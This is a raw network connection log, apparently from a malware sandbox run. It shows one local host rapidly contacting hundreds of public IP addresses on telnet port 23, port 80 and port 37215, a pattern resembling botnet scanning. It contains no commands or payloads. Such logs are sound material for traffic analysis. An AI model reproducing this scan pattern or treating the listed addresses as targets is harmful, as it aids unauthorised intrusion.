Jan 30, 2025 10:43:01.428534031 CET	38884	23	192.168.2.13	140.119.70.76
Jan 30, 2025 10:43:01.428534985 CET	38884	23	192.168.2.13	201.29.205.35
Jan 30, 2025 10:43:01.428534985 CET	38884	23	192.168.2.13	188.69.115.213
Jan 30, 2025 10:43:01.428534985 CET	38884	23	192.168.2.13	198.102.64.167
Jan 30, 2025 10:43:01.428544044 CET	38884	23	192.168.2.13	156.243.123.174
Jan 30, 2025 10:43:01.428545952 CET	38884	23	192.168.2.13	73.251.107.103
Jan 30, 2025 10:43:01.428545952 CET	38884	23	192.168.2.13	168.47.32.75
Jan 30, 2025 10:43:01.428549051 CET	38884	23	192.168.2.13	161.98.120.33
Jan 30, 2025 10:43:01.428550005 CET	38884	23	192.168.2.13	195.234.203.99
Jan 30, 2025 10:43:01.428554058 CET	38884	23	192.168.2.13	20.78.233.24
Jan 30, 2025 10:43:01.428555965 CET	38884	23	192.168.2.13	117.176.15.235
Jan 30, 2025 10:43:01.428559065 CET	38884	23	192.168.2.13	193.235.135.222
Jan 30, 2025 10:43:01.428561926 CET	38884	23	192.168.2.13	38.233.197.106
Jan 30, 2025 10:43:01.428566933 CET	38884	23	192.168.2.13	13.75.142.74
Jan 30, 2025 10:43:01.428571939 CET	38884	23	192.168.2.13	54.109.230.222
Jan 30, 2025 10:43:01.428571939 CET	38884	23	192.168.2.13	126.170.167.83
Jan 30, 2025 10:43:01.428575993 CET	38884	23	192.168.2.13	36.111.45.208
Jan 30, 2025 10:43:01.428580999 CET	38884	23	192.168.2.13	109.186.99.224
Jan 30, 2025 10:43:01.428581953 CET	38884	23	192.168.2.13	176.94.5.201
Jan 30, 2025 10:43:01.428581953 CET	38884	23	192.168.2.13	122.9.118.153
Jan 30, 2025 10:43:01.428591013 CET	38884	23	192.168.2.13	179.76.129.34
Jan 30, 2025 10:43:01.428596973 CET	38884	23	192.168.2.13	210.201.43.180
Jan 30, 2025 10:43:01.428608894 CET	38884	23	192.168.2.13	156.234.93.170
Jan 30, 2025 10:43:01.428608894 CET	38884	23	192.168.2.13	180.122.41.66
Jan 30, 2025 10:43:01.428622007 CET	38884	23	192.168.2.13	63.68.126.76
Jan 30, 2025 10:43:01.428628922 CET	38884	23	192.168.2.13	46.185.8.8
Jan 30, 2025 10:43:01.428628922 CET	38884	23	192.168.2.13	96.197.32.41
Jan 30, 2025 10:43:01.428637981 CET	38884	23	192.168.2.13	119.59.153.91
Jan 30, 2025 10:43:01.428638935 CET	38884	23	192.168.2.13	63.13.133.165
Jan 30, 2025 10:43:01.428642035 CET	38884	23	192.168.2.13	220.229.117.136
Jan 30, 2025 10:43:01.428649902 CET	38884	23	192.168.2.13	2.92.122.172
Jan 30, 2025 10:43:01.428662062 CET	38884	23	192.168.2.13	66.1.66.125
Jan 30, 2025 10:43:01.428668022 CET	38884	23	192.168.2.13	24.144.134.184
Jan 30, 2025 10:43:01.428668976 CET	38884	23	192.168.2.13	169.53.93.248
Jan 30, 2025 10:43:01.428668022 CET	38884	23	192.168.2.13	48.96.80.160
Jan 30, 2025 10:43:01.428674936 CET	38884	23	192.168.2.13	19.123.167.57
Jan 30, 2025 10:43:01.428675890 CET	38884	23	192.168.2.13	196.253.194.126
Jan 30, 2025 10:43:01.428685904 CET	38884	23	192.168.2.13	180.149.90.36
Jan 30, 2025 10:43:01.428694010 CET	38884	23	192.168.2.13	89.135.10.146
Jan 30, 2025 10:43:01.428694010 CET	38884	23	192.168.2.13	145.72.40.58
Jan 30, 2025 10:43:01.428694963 CET	38884	23	192.168.2.13	19.57.204.212
Jan 30, 2025 10:43:01.428700924 CET	38884	23	192.168.2.13	168.62.66.249
Jan 30, 2025 10:43:01.428700924 CET	38884	23	192.168.2.13	152.61.170.198
Jan 30, 2025 10:43:01.428703070 CET	38884	23	192.168.2.13	13.219.236.81
Jan 30, 2025 10:43:01.428721905 CET	38884	23	192.168.2.13	135.108.111.64
Jan 30, 2025 10:43:01.428719997 CET	38884	23	192.168.2.13	20.41.142.229
Jan 30, 2025 10:43:01.428723097 CET	38884	23	192.168.2.13	191.7.36.105
Jan 30, 2025 10:43:01.428726912 CET	38884	23	192.168.2.13	139.215.45.159
Jan 30, 2025 10:43:01.428728104 CET	38884	23	192.168.2.13	70.221.111.101
Jan 30, 2025 10:43:01.428731918 CET	38884	23	192.168.2.13	75.206.102.57
Jan 30, 2025 10:43:01.428744078 CET	38884	23	192.168.2.13	142.169.76.111
Jan 30, 2025 10:43:01.428745031 CET	38884	23	192.168.2.13	1.33.79.6
Jan 30, 2025 10:43:01.428749084 CET	38884	23	192.168.2.13	206.70.144.238
Jan 30, 2025 10:43:01.428755045 CET	38884	23	192.168.2.13	197.47.165.152
Jan 30, 2025 10:43:01.428755045 CET	38884	23	192.168.2.13	174.109.18.36
Jan 30, 2025 10:43:01.428755999 CET	38884	23	192.168.2.13	159.108.71.61
Jan 30, 2025 10:43:01.428766966 CET	38884	23	192.168.2.13	192.227.147.28
Jan 30, 2025 10:43:01.428771019 CET	38884	23	192.168.2.13	221.148.7.55
Jan 30, 2025 10:43:01.428783894 CET	38884	23	192.168.2.13	24.152.193.208
Jan 30, 2025 10:43:01.428797007 CET	38884	23	192.168.2.13	112.248.104.36
Jan 30, 2025 10:43:01.428797960 CET	38884	23	192.168.2.13	201.212.73.234
Jan 30, 2025 10:43:01.428797960 CET	38884	23	192.168.2.13	78.45.67.200
Jan 30, 2025 10:43:01.428813934 CET	38884	23	192.168.2.13	150.50.207.75
Jan 30, 2025 10:43:01.428821087 CET	38884	23	192.168.2.13	109.89.227.27
Jan 30, 2025 10:43:01.428821087 CET	38884	23	192.168.2.13	133.39.94.180
Jan 30, 2025 10:43:01.428824902 CET	38884	23	192.168.2.13	8.46.142.166
Jan 30, 2025 10:43:01.428824902 CET	38884	23	192.168.2.13	117.213.241.68
Jan 30, 2025 10:43:01.428833961 CET	38884	23	192.168.2.13	166.118.129.141
Jan 30, 2025 10:43:01.428853035 CET	38884	23	192.168.2.13	201.129.142.187
Jan 30, 2025 10:43:01.429116964 CET	38884	23	192.168.2.13	162.13.215.39
Jan 30, 2025 10:43:01.430280924 CET	23	40794	125.153.47.247	192.168.2.13
Jan 30, 2025 10:43:01.430916071 CET	23	41082	125.153.47.247	192.168.2.13
Jan 30, 2025 10:43:01.431004047 CET	41082	23	192.168.2.13	125.153.47.247
Jan 30, 2025 10:43:01.431602955 CET	23	38884	114.147.175.37	192.168.2.13
Jan 30, 2025 10:43:01.431615114 CET	23	38884	158.20.128.74	192.168.2.13
Jan 30, 2025 10:43:01.431626081 CET	23	38884	114.52.145.200	192.168.2.13
Jan 30, 2025 10:43:01.431631088 CET	23	38884	101.200.96.211	192.168.2.13
Jan 30, 2025 10:43:01.431663036 CET	38884	23	192.168.2.13	114.147.175.37
Jan 30, 2025 10:43:01.431674004 CET	38884	23	192.168.2.13	158.20.128.74
Jan 30, 2025 10:43:01.431674957 CET	38884	23	192.168.2.13	114.52.145.200
Jan 30, 2025 10:43:01.431679964 CET	38884	23	192.168.2.13	101.200.96.211
Jan 30, 2025 10:43:01.431719065 CET	23	38884	154.0.239.194	192.168.2.13
Jan 30, 2025 10:43:01.431730032 CET	23	38884	12.218.76.133	192.168.2.13
Jan 30, 2025 10:43:01.431740046 CET	23	38884	206.99.186.20	192.168.2.13
Jan 30, 2025 10:43:01.431751013 CET	23	38884	19.28.146.44	192.168.2.13
Jan 30, 2025 10:43:01.431783915 CET	38884	23	192.168.2.13	19.28.146.44
Jan 30, 2025 10:43:01.431785107 CET	38884	23	192.168.2.13	154.0.239.194
Jan 30, 2025 10:43:01.431785107 CET	38884	23	192.168.2.13	12.218.76.133
Jan 30, 2025 10:43:01.431785107 CET	38884	23	192.168.2.13	206.99.186.20
Jan 30, 2025 10:43:01.475224018 CET	40138	80	192.168.2.13	191.70.61.43
Jan 30, 2025 10:43:01.475224018 CET	46730	80	192.168.2.13	83.250.218.46
Jan 30, 2025 10:43:01.480217934 CET	80	40138	191.70.61.43	192.168.2.13
Jan 30, 2025 10:43:01.480228901 CET	80	46730	83.250.218.46	192.168.2.13
Jan 30, 2025 10:43:01.480340004 CET	40138	80	192.168.2.13	191.70.61.43
Jan 30, 2025 10:43:01.480340958 CET	46730	80	192.168.2.13	83.250.218.46
Jan 30, 2025 10:43:01.480367899 CET	46730	80	192.168.2.13	83.250.218.46
Jan 30, 2025 10:43:01.480367899 CET	40138	80	192.168.2.13	191.70.61.43
Jan 30, 2025 10:43:01.485606909 CET	80	40138	191.70.61.43	192.168.2.13
Jan 30, 2025 10:43:01.485616922 CET	80	46730	83.250.218.46	192.168.2.13
Jan 30, 2025 10:43:01.485690117 CET	40138	80	192.168.2.13	191.70.61.43
Jan 30, 2025 10:43:01.485690117 CET	46730	80	192.168.2.13	83.250.218.46
Jan 30, 2025 10:43:01.507154942 CET	47434	37215	192.168.2.13	156.229.77.85
Jan 30, 2025 10:43:01.512099028 CET	37215	47434	156.229.77.85	192.168.2.13
Jan 30, 2025 10:43:01.512175083 CET	47434	37215	192.168.2.13	156.229.77.85
Jan 30, 2025 10:43:01.512279034 CET	47434	37215	192.168.2.13	156.229.77.85
Jan 30, 2025 10:43:01.517360926 CET	37215	47434	156.229.77.85	192.168.2.13
Jan 30, 2025 10:43:01.517420053 CET	47434	37215	192.168.2.13	156.229.77.85
Jan 30, 2025 10:43:01.539186954 CET	49496	37215	192.168.2.13	156.179.84.58
Jan 30, 2025 10:43:01.539243937 CET	52014	37215	192.168.2.13	41.100.230.86
Jan 30, 2025 10:43:01.544014931 CET	37215	49496	156.179.84.58	192.168.2.13
Jan 30, 2025 10:43:01.544035912 CET	37215	52014	41.100.230.86	192.168.2.13
Jan 30, 2025 10:43:01.544135094 CET	49496	37215	192.168.2.13	156.179.84.58
Jan 30, 2025 10:43:01.544173002 CET	49496	37215	192.168.2.13	156.179.84.58
Jan 30, 2025 10:43:01.544229984 CET	52014	37215	192.168.2.13	41.100.230.86
Jan 30, 2025 10:43:01.544229984 CET	52014	37215	192.168.2.13	41.100.230.86
Jan 30, 2025 10:43:01.549280882 CET	37215	49496	156.179.84.58	192.168.2.13
Jan 30, 2025 10:43:01.549329996 CET	37215	52014	41.100.230.86	192.168.2.13
Jan 30, 2025 10:43:01.549352884 CET	49496	37215	192.168.2.13	156.179.84.58
Jan 30, 2025 10:43:01.549434900 CET	52014	37215	192.168.2.13	41.100.230.86
Jan 30, 2025 10:43:01.571166992 CET	41888	37215	192.168.2.13	197.222.207.101
Jan 30, 2025 10:43:01.575942993 CET	37215	41888	197.222.207.101	192.168.2.13
Jan 30, 2025 10:43:01.576034069 CET	41888	37215	192.168.2.13	197.222.207.101
Jan 30, 2025 10:43:01.576086998 CET	41888	37215	192.168.2.13	197.222.207.101
Jan 30, 2025 10:43:01.581556082 CET	37215	41888	197.222.207.101	192.168.2.13
Jan 30, 2025 10:43:01.581608057 CET	41888	37215	192.168.2.13	197.222.207.101
Jan 30, 2025 10:43:02.147211075 CET	60200	80	192.168.2.13	191.252.94.92
Jan 30, 2025 10:43:02.147211075 CET	48564	23	192.168.2.13	112.115.182.38
Jan 30, 2025 10:43:02.147214890 CET	40108	23	192.168.2.13	170.182.14.66
Jan 30, 2025 10:43:02.147224903 CET	56682	23	192.168.2.13	24.147.106.45
Jan 30, 2025 10:43:02.147228956 CET	57794	80	192.168.2.13	116.34.227.92
Jan 30, 2025 10:43:02.147248983 CET	55030	23	192.168.2.13	117.189.223.250
Jan 30, 2025 10:43:02.147248983 CET	36704	23	192.168.2.13	183.184.36.193
Jan 30, 2025 10:43:02.147263050 CET	60012	23	192.168.2.13	164.242.148.95
Jan 30, 2025 10:43:02.147264004 CET	45484	80	192.168.2.13	209.77.2.157
Jan 30, 2025 10:43:02.147270918 CET	51816	80	192.168.2.13	117.176.214.115
Jan 30, 2025 10:43:02.147285938 CET	46132	23	192.168.2.13	186.137.108.73
Jan 30, 2025 10:43:02.147310972 CET	38856	23	192.168.2.13	100.139.127.148
Jan 30, 2025 10:43:02.147335052 CET	49558	23	192.168.2.13	78.87.239.212
Jan 30, 2025 10:43:02.147341967 CET	40106	23	192.168.2.13	183.156.135.130
Jan 30, 2025 10:43:02.147344112 CET	60280	23	192.168.2.13	8.33.139.200
Jan 30, 2025 10:43:02.147357941 CET	49076	23	192.168.2.13	119.106.117.163
Jan 30, 2025 10:43:02.147372961 CET	46556	23	192.168.2.13	47.180.166.186
Jan 30, 2025 10:43:02.147397041 CET	41036	23	192.168.2.13	165.189.203.132
Jan 30, 2025 10:43:02.147397995 CET	54802	23	192.168.2.13	198.23.41.130
Jan 30, 2025 10:43:02.152496099 CET	23	40108	170.182.14.66	192.168.2.13
Jan 30, 2025 10:43:02.152539015 CET	23	56682	24.147.106.45	192.168.2.13
Jan 30, 2025 10:43:02.152548075 CET	80	60200	191.252.94.92	192.168.2.13
Jan 30, 2025 10:43:02.152555943 CET	23	48564	112.115.182.38	192.168.2.13
Jan 30, 2025 10:43:02.152564049 CET	80	57794	116.34.227.92	192.168.2.13
Jan 30, 2025 10:43:02.152573109 CET	23	55030	117.189.223.250	192.168.2.13
Jan 30, 2025 10:43:02.152580023 CET	23	36704	183.184.36.193	192.168.2.13
Jan 30, 2025 10:43:02.152591944 CET	23	60012	164.242.148.95	192.168.2.13
Jan 30, 2025 10:43:02.152596951 CET	80	45484	209.77.2.157	192.168.2.13
Jan 30, 2025 10:43:02.152600050 CET	80	51816	117.176.214.115	192.168.2.13
Jan 30, 2025 10:43:02.152643919 CET	40108	23	192.168.2.13	170.182.14.66
Jan 30, 2025 10:43:02.152647972 CET	23	46132	186.137.108.73	192.168.2.13
Jan 30, 2025 10:43:02.152658939 CET	23	38856	100.139.127.148	192.168.2.13
Jan 30, 2025 10:43:02.152667999 CET	23	49558	78.87.239.212	192.168.2.13
Jan 30, 2025 10:43:02.152672052 CET	23	40106	183.156.135.130	192.168.2.13
Jan 30, 2025 10:43:02.152673006 CET	56682	23	192.168.2.13	24.147.106.45
Jan 30, 2025 10:43:02.152682066 CET	23	49076	119.106.117.163	192.168.2.13
Jan 30, 2025 10:43:02.152684927 CET	60200	80	192.168.2.13	191.252.94.92
Jan 30, 2025 10:43:02.152700901 CET	23	60280	8.33.139.200	192.168.2.13
Jan 30, 2025 10:43:02.152709961 CET	23	46556	47.180.166.186	192.168.2.13
Jan 30, 2025 10:43:02.152717113 CET	48564	23	192.168.2.13	112.115.182.38
Jan 30, 2025 10:43:02.152718067 CET	23	41036	165.189.203.132	192.168.2.13
Jan 30, 2025 10:43:02.152717113 CET	36704	23	192.168.2.13	183.184.36.193
Jan 30, 2025 10:43:02.152726889 CET	23	54802	198.23.41.130	192.168.2.13
Jan 30, 2025 10:43:02.152734041 CET	51816	80	192.168.2.13	117.176.214.115
Jan 30, 2025 10:43:02.152749062 CET	57794	80	192.168.2.13	116.34.227.92
Jan 30, 2025 10:43:02.152762890 CET	55030	23	192.168.2.13	117.189.223.250
Jan 30, 2025 10:43:02.152781963 CET	60012	23	192.168.2.13	164.242.148.95
Jan 30, 2025 10:43:02.152785063 CET	45484	80	192.168.2.13	209.77.2.157
Jan 30, 2025 10:43:02.152801991 CET	46132	23	192.168.2.13	186.137.108.73
Jan 30, 2025 10:43:02.152812958 CET	49558	23	192.168.2.13	78.87.239.212
Jan 30, 2025 10:43:02.152822971 CET	38856	23	192.168.2.13	100.139.127.148
Jan 30, 2025 10:43:02.152851105 CET	49076	23	192.168.2.13	119.106.117.163
Jan 30, 2025 10:43:02.152852058 CET	41036	23	192.168.2.13	165.189.203.132
Jan 30, 2025 10:43:02.152864933 CET	54802	23	192.168.2.13	198.23.41.130
Jan 30, 2025 10:43:02.152884960 CET	46556	23	192.168.2.13	47.180.166.186
Jan 30, 2025 10:43:02.152884960 CET	40106	23	192.168.2.13	183.156.135.130
Jan 30, 2025 10:43:02.152895927 CET	60280	23	192.168.2.13	8.33.139.200
Jan 30, 2025 10:43:02.152966976 CET	38885	80	192.168.2.13	151.240.35.232
Jan 30, 2025 10:43:02.152968884 CET	38885	80	192.168.2.13	136.231.21.226
Jan 30, 2025 10:43:02.152981043 CET	38885	80	192.168.2.13	183.103.119.38
Jan 30, 2025 10:43:02.152990103 CET	38885	80	192.168.2.13	109.76.63.37
Jan 30, 2025 10:43:02.152996063 CET	38885	80	192.168.2.13	48.121.103.134
Jan 30, 2025 10:43:02.153016090 CET	38885	80	192.168.2.13	199.200.216.72
Jan 30, 2025 10:43:02.153024912 CET	38884	23	192.168.2.13	92.242.8.21
Jan 30, 2025 10:43:02.153031111 CET	38885	80	192.168.2.13	17.41.47.140
Jan 30, 2025 10:43:02.153031111 CET	38884	23	192.168.2.13	32.189.54.104
Jan 30, 2025 10:43:02.153038979 CET	38885	80	192.168.2.13	77.111.99.111
Jan 30, 2025 10:43:02.153052092 CET	38884	23	192.168.2.13	151.135.193.174
Jan 30, 2025 10:43:02.153052092 CET	38884	23	192.168.2.13	186.187.53.184
Jan 30, 2025 10:43:02.153055906 CET	38884	23	192.168.2.13	163.200.192.131
Jan 30, 2025 10:43:02.153057098 CET	38884	23	192.168.2.13	69.99.20.250
Jan 30, 2025 10:43:02.153064013 CET	38884	23	192.168.2.13	90.62.36.211
Jan 30, 2025 10:43:02.153076887 CET	38885	80	192.168.2.13	210.40.67.31
Jan 30, 2025 10:43:02.153079033 CET	38884	23	192.168.2.13	32.235.214.95
Jan 30, 2025 10:43:02.153081894 CET	38884	23	192.168.2.13	106.227.214.2
Jan 30, 2025 10:43:02.153085947 CET	38884	23	192.168.2.13	46.234.80.228
Jan 30, 2025 10:43:02.153085947 CET	38884	23	192.168.2.13	198.60.77.112
Jan 30, 2025 10:43:02.153100014 CET	38885	80	192.168.2.13	31.100.227.119
Jan 30, 2025 10:43:02.153100014 CET	38884	23	192.168.2.13	94.55.105.163
Jan 30, 2025 10:43:02.153100014 CET	38884	23	192.168.2.13	118.168.92.162
Jan 30, 2025 10:43:02.153100967 CET	38884	23	192.168.2.13	78.239.84.213
Jan 30, 2025 10:43:02.153100967 CET	38884	23	192.168.2.13	178.166.136.50
Jan 30, 2025 10:43:02.153105021 CET	38884	23	192.168.2.13	96.155.63.75
Jan 30, 2025 10:43:02.153115034 CET	38884	23	192.168.2.13	189.22.27.107
Jan 30, 2025 10:43:02.153119087 CET	38885	80	192.168.2.13	64.110.107.109
Jan 30, 2025 10:43:02.153119087 CET	38884	23	192.168.2.13	146.138.45.44
Jan 30, 2025 10:43:02.153126001 CET	38884	23	192.168.2.13	97.224.0.71
Jan 30, 2025 10:43:02.153130054 CET	38884	23	192.168.2.13	24.32.0.239
Jan 30, 2025 10:43:02.153134108 CET	38884	23	192.168.2.13	17.0.169.100
Jan 30, 2025 10:43:02.153139114 CET	38885	80	192.168.2.13	64.255.239.118
Jan 30, 2025 10:43:02.153143883 CET	38885	80	192.168.2.13	200.53.66.25
Jan 30, 2025 10:43:02.153146029 CET	38884	23	192.168.2.13	80.52.16.7
Jan 30, 2025 10:43:02.153147936 CET	38884	23	192.168.2.13	69.234.228.214
Jan 30, 2025 10:43:02.153146029 CET	38885	80	192.168.2.13	85.176.89.48
Jan 30, 2025 10:43:02.153150082 CET	38884	23	192.168.2.13	208.30.216.132
Jan 30, 2025 10:43:02.153160095 CET	38884	23	192.168.2.13	113.177.220.106
Jan 30, 2025 10:43:02.153161049 CET	38884	23	192.168.2.13	88.55.17.162
Jan 30, 2025 10:43:02.153172016 CET	38884	23	192.168.2.13	47.105.16.28
Jan 30, 2025 10:43:02.153176069 CET	38885	80	192.168.2.13	94.107.173.125
Jan 30, 2025 10:43:02.153176069 CET	38884	23	192.168.2.13	139.2.134.36
Jan 30, 2025 10:43:02.153176069 CET	38885	80	192.168.2.13	180.147.135.125
Jan 30, 2025 10:43:02.153188944 CET	38884	23	192.168.2.13	112.106.77.104
Jan 30, 2025 10:43:02.153194904 CET	38884	23	192.168.2.13	179.138.153.210
Jan 30, 2025 10:43:02.153194904 CET	38884	23	192.168.2.13	4.132.115.240
Jan 30, 2025 10:43:02.153194904 CET	38885	80	192.168.2.13	210.12.45.138
Jan 30, 2025 10:43:02.153197050 CET	38885	80	192.168.2.13	107.89.162.169
Jan 30, 2025 10:43:02.153197050 CET	38884	23	192.168.2.13	43.57.180.250
Jan 30, 2025 10:43:02.153197050 CET	38885	80	192.168.2.13	129.20.233.105
Jan 30, 2025 10:43:02.153206110 CET	38884	23	192.168.2.13	148.185.208.64
Jan 30, 2025 10:43:02.153208017 CET	38885	80	192.168.2.13	20.161.153.152
Jan 30, 2025 10:43:02.153208017 CET	38885	80	192.168.2.13	37.91.147.57
Jan 30, 2025 10:43:02.153208017 CET	38885	80	192.168.2.13	193.161.86.8
Jan 30, 2025 10:43:02.153212070 CET	38885	80	192.168.2.13	52.103.90.121
Jan 30, 2025 10:43:02.153212070 CET	38885	80	192.168.2.13	37.241.205.175
Jan 30, 2025 10:43:02.153225899 CET	38884	23	192.168.2.13	141.99.114.159
Jan 30, 2025 10:43:02.153234959 CET	38885	80	192.168.2.13	164.192.1.138
Jan 30, 2025 10:43:02.153234959 CET	38884	23	192.168.2.13	171.183.115.248
Jan 30, 2025 10:43:02.153235912 CET	38885	80	192.168.2.13	67.139.34.114
Jan 30, 2025 10:43:02.153235912 CET	38884	23	192.168.2.13	79.22.28.119
Jan 30, 2025 10:43:02.153237104 CET	38884	23	192.168.2.13	64.175.103.147
Jan 30, 2025 10:43:02.153237104 CET	38884	23	192.168.2.13	216.115.207.131
Jan 30, 2025 10:43:02.153238058 CET	38884	23	192.168.2.13	24.70.43.223
Jan 30, 2025 10:43:02.153237104 CET	38885	80	192.168.2.13	57.79.50.109
Jan 30, 2025 10:43:02.153238058 CET	38885	80	192.168.2.13	14.150.174.144
Jan 30, 2025 10:43:02.153237104 CET	38885	80	192.168.2.13	34.168.101.122
Jan 30, 2025 10:43:02.153238058 CET	38885	80	192.168.2.13	46.95.158.11
Jan 30, 2025 10:43:02.153238058 CET	38885	80	192.168.2.13	148.16.76.23
Jan 30, 2025 10:43:02.153238058 CET	38884	23	192.168.2.13	190.208.41.156
Jan 30, 2025 10:43:02.153253078 CET	38884	23	192.168.2.13	87.169.98.87
Jan 30, 2025 10:43:02.153263092 CET	38884	23	192.168.2.13	152.18.64.108
Jan 30, 2025 10:43:02.153264999 CET	38885	80	192.168.2.13	64.14.191.235
Jan 30, 2025 10:43:02.153264999 CET	38885	80	192.168.2.13	195.179.213.97
Jan 30, 2025 10:43:02.153266907 CET	38885	80	192.168.2.13	95.244.143.14
Jan 30, 2025 10:43:02.153266907 CET	38885	80	192.168.2.13	129.50.183.183
Jan 30, 2025 10:43:02.153268099 CET	38884	23	192.168.2.13	188.179.54.192
Jan 30, 2025 10:43:02.153269053 CET	38884	23	192.168.2.13	105.47.250.91
Jan 30, 2025 10:43:02.153268099 CET	38884	23	192.168.2.13	148.196.210.181
Jan 30, 2025 10:43:02.153269053 CET	38884	23	192.168.2.13	155.190.42.175
Jan 30, 2025 10:43:02.153268099 CET	38884	23	192.168.2.13	45.110.221.122
Jan 30, 2025 10:43:02.153269053 CET	38884	23	192.168.2.13	123.111.76.218
Jan 30, 2025 10:43:02.153268099 CET	38884	23	192.168.2.13	80.221.79.14
Jan 30, 2025 10:43:02.153268099 CET	38884	23	192.168.2.13	128.64.67.181
Jan 30, 2025 10:43:02.153269053 CET	38885	80	192.168.2.13	146.132.203.83
Jan 30, 2025 10:43:02.153280020 CET	38884	23	192.168.2.13	201.66.104.142
Jan 30, 2025 10:43:02.153280973 CET	38884	23	192.168.2.13	211.218.23.133
Jan 30, 2025 10:43:02.153280973 CET	38885	80	192.168.2.13	211.141.134.140
Jan 30, 2025 10:43:02.153280973 CET	38885	80	192.168.2.13	202.246.175.185
Jan 30, 2025 10:43:02.153280973 CET	38884	23	192.168.2.13	179.202.91.243
Jan 30, 2025 10:43:02.153280973 CET	38884	23	192.168.2.13	123.4.91.236
Jan 30, 2025 10:43:02.153290987 CET	38884	23	192.168.2.13	138.118.230.159
Jan 30, 2025 10:43:02.153290987 CET	38885	80	192.168.2.13	77.103.200.13
Jan 30, 2025 10:43:02.153290987 CET	38885	80	192.168.2.13	112.91.141.198
Jan 30, 2025 10:43:02.153294086 CET	38885	80	192.168.2.13	201.217.57.1
Jan 30, 2025 10:43:02.153295994 CET	38885	80	192.168.2.13	151.245.210.207
Jan 30, 2025 10:43:02.153295994 CET	38885	80	192.168.2.13	62.209.228.42
Jan 30, 2025 10:43:02.153295994 CET	38884	23	192.168.2.13	99.190.43.101
Jan 30, 2025 10:43:02.153297901 CET	38884	23	192.168.2.13	107.164.151.34
Jan 30, 2025 10:43:02.153297901 CET	38885	80	192.168.2.13	192.76.86.245
Jan 30, 2025 10:43:02.153297901 CET	38884	23	192.168.2.13	159.250.76.120
Jan 30, 2025 10:43:02.153297901 CET	38885	80	192.168.2.13	184.245.86.45
Jan 30, 2025 10:43:02.153297901 CET	38884	23	192.168.2.13	169.63.105.33
Jan 30, 2025 10:43:02.153297901 CET	38884	23	192.168.2.13	140.246.143.92
Jan 30, 2025 10:43:02.153297901 CET	38885	80	192.168.2.13	213.65.7.177
Jan 30, 2025 10:43:02.153305054 CET	38885	80	192.168.2.13	162.136.229.8
Jan 30, 2025 10:43:02.153318882 CET	38885	80	192.168.2.13	70.155.225.163
Jan 30, 2025 10:43:02.153326988 CET	38885	80	192.168.2.13	80.38.154.249
Jan 30, 2025 10:43:02.153337002 CET	38885	80	192.168.2.13	212.9.31.1
Jan 30, 2025 10:43:02.153337955 CET	38884	23	192.168.2.13	62.40.62.176
Jan 30, 2025 10:43:02.153337002 CET	38885	80	192.168.2.13	192.59.118.159
Jan 30, 2025 10:43:02.153337002 CET	38885	80	192.168.2.13	17.86.196.4
Jan 30, 2025 10:43:02.153338909 CET	38884	23	192.168.2.13	71.84.166.249
Jan 30, 2025 10:43:02.153337955 CET	38884	23	192.168.2.13	38.142.173.198
Jan 30, 2025 10:43:02.153338909 CET	38885	80	192.168.2.13	179.119.179.78
Jan 30, 2025 10:43:02.153338909 CET	38884	23	192.168.2.13	190.203.0.49
Jan 30, 2025 10:43:02.153340101 CET	38885	80	192.168.2.13	74.78.209.172
Jan 30, 2025 10:43:02.153340101 CET	38884	23	192.168.2.13	184.84.162.206
Jan 30, 2025 10:43:02.153341055 CET	38884	23	192.168.2.13	35.2.65.156
Jan 30, 2025 10:43:02.153341055 CET	38884	23	192.168.2.13	13.94.248.83
Jan 30, 2025 10:43:02.153341055 CET	38884	23	192.168.2.13	121.153.108.247
Jan 30, 2025 10:43:02.153342962 CET	38884	23	192.168.2.13	66.247.253.92
Jan 30, 2025 10:43:02.153341055 CET	38884	23	192.168.2.13	81.246.89.160
Jan 30, 2025 10:43:02.153341055 CET	38884	23	192.168.2.13	160.103.165.198
Jan 30, 2025 10:43:02.153342962 CET	38885	80	192.168.2.13	140.72.136.207
Jan 30, 2025 10:43:02.153341055 CET	38884	23	192.168.2.13	154.119.57.185
Jan 30, 2025 10:43:02.153342962 CET	38885	80	192.168.2.13	205.196.29.83
Jan 30, 2025 10:43:02.153341055 CET	38884	23	192.168.2.13	102.255.93.104
Jan 30, 2025 10:43:02.153342962 CET	38884	23	192.168.2.13	221.145.251.162
Jan 30, 2025 10:43:02.153343916 CET	38885	80	192.168.2.13	99.100.40.66
Jan 30, 2025 10:43:02.153342962 CET	38884	23	192.168.2.13	90.94.92.233
Jan 30, 2025 10:43:02.153342962 CET	38885	80	192.168.2.13	60.124.246.160
Jan 30, 2025 10:43:02.153373003 CET	38884	23	192.168.2.13	155.154.223.92
Jan 30, 2025 10:43:02.153373003 CET	38884	23	192.168.2.13	35.9.171.98
Jan 30, 2025 10:43:02.153373003 CET	38885	80	192.168.2.13	150.167.242.187
Jan 30, 2025 10:43:02.153373003 CET	38885	80	192.168.2.13	156.13.48.173
Jan 30, 2025 10:43:02.153374910 CET	38885	80	192.168.2.13	95.123.29.231
Jan 30, 2025 10:43:02.153373003 CET	38885	80	192.168.2.13	62.14.134.225
Jan 30, 2025 10:43:02.153377056 CET	38885	80	192.168.2.13	42.130.192.79
Jan 30, 2025 10:43:02.153376102 CET	38885	80	192.168.2.13	84.139.236.135
Jan 30, 2025 10:43:02.153373003 CET	38884	23	192.168.2.13	87.107.159.198
Jan 30, 2025 10:43:02.153376102 CET	38885	80	192.168.2.13	153.250.100.40
Jan 30, 2025 10:43:02.153377056 CET	38885	80	192.168.2.13	189.27.196.244
Jan 30, 2025 10:43:02.153374910 CET	38884	23	192.168.2.13	99.232.143.219
Jan 30, 2025 10:43:02.153376102 CET	38885	80	192.168.2.13	110.175.77.39
Jan 30, 2025 10:43:02.153374910 CET	38884	23	192.168.2.13	45.133.98.70
Jan 30, 2025 10:43:02.153376102 CET	38884	23	192.168.2.13	159.107.72.231
Jan 30, 2025 10:43:02.153376102 CET	38884	23	192.168.2.13	85.35.234.27
Jan 30, 2025 10:43:02.153374910 CET	38885	80	192.168.2.13	58.189.39.1
Jan 30, 2025 10:43:02.153376102 CET	38884	23	192.168.2.13	40.181.2.66
Jan 30, 2025 10:43:02.153378010 CET	38884	23	192.168.2.13	79.136.204.141
Jan 30, 2025 10:43:02.153378010 CET	38885	80	192.168.2.13	36.96.98.13
Jan 30, 2025 10:43:02.153374910 CET	38884	23	192.168.2.13	96.144.237.218
Jan 30, 2025 10:43:02.153378010 CET	38884	23	192.168.2.13	118.177.127.145
Jan 30, 2025 10:43:02.153376102 CET	38884	23	192.168.2.13	36.72.128.83
Jan 30, 2025 10:43:02.153376102 CET	38884	23	192.168.2.13	140.147.244.113
Jan 30, 2025 10:43:02.153376102 CET	38884	23	192.168.2.13	67.220.73.9
